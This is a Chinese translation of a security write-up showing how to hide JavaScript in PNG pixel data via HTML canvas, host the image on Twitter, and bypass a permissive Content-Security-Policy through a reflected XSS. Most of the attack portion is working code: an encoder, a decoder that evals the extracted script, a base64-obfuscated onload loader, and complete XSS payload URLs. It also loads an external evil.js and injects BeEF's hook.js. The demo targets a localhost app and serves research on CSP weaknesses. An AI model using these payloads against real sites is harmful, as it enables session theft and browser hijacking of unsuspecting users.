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如何通过将JavaScript隐藏在PNG图像中以绕过CSP

iso60001  1696天前

将一个恶意的JS库隐藏到PNG图像中，随后上传到twitter，然后利用一个XSS将其包含在目标网站内，绕过CSP。

通过HTML Canvas可以将任何JS代码（或整个库）隐藏到一个PNG图像中，方法是将每个源代码字符转换为像素。然后将图像上传到可信的网站，如Twitter或谷歌（通常在CSP白名单中），然后将其作为远程图像加载到HTML文件中。最后，通过使用canvas的getImageData方法，从图像中提取隐藏的JS代码并执行它。若成功，则可有效绕过CSP限制。

22.png

目前，Content-Security-Policy响应头在防御XSS、点击劫持等其他网络攻击时的使用率越来越高。同时，为了避免误报和保持系统正常运行，管理员需要设置相关的域名白名单，这就给了我们可趁之机。

在阅读Mike Parsons的一篇有趣的文章时，他向我展示了如何使用HTML Canvas将JS代码“存储”到一个PNG图像中。我突然想到，这可能是一个在XSS攻击中完美的绕过CSP的技术。其中涉及CanvasRenderingContext2D方法putImageData和getImageData，以及使用String.charCodeAt去显示被隐藏文本字符串的每个字符。

Canvas 2D API的CanvasRenderingContext2D.putImageData()方法会将指定ImageData对象的数据绘制到画布上。如果提供了一个脏矩形，则只绘制该矩形的像素。此方法不受画布转换矩阵的影响。

Canvas 2D API的CanvasRenderingContext2D方法getImageData()会返回一个ImageData对象，该对象表示画布指定部分的底层像素数据。此方法不受画布的转换矩阵的影响。如果指定的矩形扩展到画布的边界之外，则画布之外的像素在返回的ImageData对象中是透明黑色。

使用Canvas在PNG图像中隐藏文本

下面是一个示例，你可以复制并粘贴到浏览器的JS控制台中，根据给定的字符串创建PNG图像，例如：Hello, World!。打开一个新标签页，转到about:blank，然后打开你的JS控制台，粘贴以下代码：

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

上面的代码使用putImageData方法创建一个图像，并将“Hello, World!”字符串以每组3个字符转换为每个像素点的RGB级别（红色、绿色和蓝色）。在浏览器的控制台中运行后，你会在左上角看到一个小图像：

33.png

44.png

如前所述，上面图像的每个像素代表“隐藏”的3个字符。使用charCodeAt函数，我可以将每个字符转换为表示其UTF-16编码单元中0到65535之间的整数。在单个像素中，第一个被转换字符对应于红色通道，第二个被转换字符对应于绿色通道，最后一个被转换字符对应于蓝色通道。第四个值是alpha级别，在我们的示例中一直是255。

r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]

你可以从下图中更好地了解一个字符串中的字符是如何分布到ImageData数组中：

55.png

现在我们有了一个代表“Hello, World!”字符串的PNG图像，你可以复制和粘贴以下代码，在你的JS控制台中将生成的PNG图像转换为原始的字符串：

t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;

正如上面所展示的，JS代码使用getImageData将图像其转换为原始文本字符串。在使用getImageData时，你会先获得一个ImageData对象，其中的data属性包含一个大数组。而ImageData数组中每个像素都有四个实体：r、g、b和alpha。因此，数组看起来像这样[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]。

66.png

目标网站

现在我们知道了如何将字符串“存储”为图像，以及如何将图像转换回原始字符串。假设现在我们需要隐藏一段JS代码而不是一个简单的文本字符串，然后将生成的PNG图像上传到Twitter，以绕过把Twitter加入白名单的CSP规则，实现XSS攻击。

为此，我特意创建了一个示例web应用，其使用CSP策略阻止加载外部JS：

77.png88.png

如你所见，该应用的安全策略只允许加载来自“self”和Twitter的图像，允许来自“self”以及“inline”和“eval”等JS代码。不幸的是，有许多网站配置了script-src，允许unsafe-inline和unsafe-eval，避免误报。此外，许多网站将整个域而不是特定资源列入白名单。

如果你认为没有人在script-src中设置unsafe-inline和unsafe-eval，那么你就错了。根据最近Alexa前100万网站的数据，似乎有超过5000个网站在script-src或default-src中设置unsafe-inline和unsafe-eval：

99.png

示例中漏洞位于lang参数，它缺乏安全过滤，会导致HTML注入和反射型XSS。对此，一个经典的注入类似于?lang="><script>alert(1)</script>。

100.png

现在我需要绕过CSP，导入一个外部JS库。当你使用类似于?lang="><script+src="//example.com/evil.js"></script>的payload时，会被拦截：

110.png

上面中CSP拒绝导入外部的JS文件，因为它触发了script-src。

上传PNG/JS在Twitter上

在经过测试之后，我发现当上传的图片太小时，Twitter会显示一个错误。所以我用了较长的JS代码来创建一个更大的图像：

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "function asd() {\
        var d = document;\
        var c = 'cookie';\
        alert(d[c]);\
    };asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
    Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

120.png

然后上传成功！

130.png

通过将图像从Twitter加载到IMG标签中，我可以将其转换为原始的JS代码，如下图所示，图像中包含一个和document.cookie有关的alert操作：

140.png

现在，让我们尝试运行这段JS代码。

绕过CSP

为了包含来自Twitter的远程图像，我可以发送以下请求：

/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22

其中包括恶意PNG图像的Twitter URL以及IMG标签。现在，我还需要一些JS代码将图像转换为JS库：

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

我已将以上代码编码为base64格式，现在利用eval(atob("base64-encoded-js"))配合onload属性：

onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'

然后变成了：

http://localhost:8111/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22

但此时你还是会看到一个错误：The canvas has been tainted by cross-origin data。

150.png

通过阅读文档，我发现浏览器似乎在跨源加载图像时会拦截getImageData之类的方法。似乎我需要注入crossorigin属性：

HTML为图像提供了一个crossorigin属性，该属性与一个适当的CORS头相结合，允许从外部加载的<img>中所定义的图像被使用于<canvas>中。

由于画布位图中的像素可能来自各种来源，一旦从未经批准的其他来源加载数据，画布就会受到污染。被污染的画布被认为是不安全的，任何从画布中检索图像数据的操作都会导致异常。

幸运的是，Twitter对所有上传图片添加一个Access-Control-Allow-Origin: *，这意味着我只需要注入crossorigin属性到IMG标签，赋值anonymous，就可以使payload工作。

160.png

最后，我成功执行了XSS攻击：

170.png

最终的payload如下：

/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22

BeEF

以下是一个将BeEF的hook.js转换为PNG图像的测试。首先使用curl -s 'http://localhost:3000/hook.js' | base64 -w0进行编码，创建出如下图像：

180.png

从PNG图像中注入hook.js

190.png200.png

结论

因为CSP规则太过松散以及Twitter对图像的处理问题，我可以绕过目前CSP的主流配置。或许你需要一个小工具来检测你的网站是否安全。

参考

https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350

https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData

https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData

https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image

https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin

https://csp-evaluator.withgoogle.com/

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
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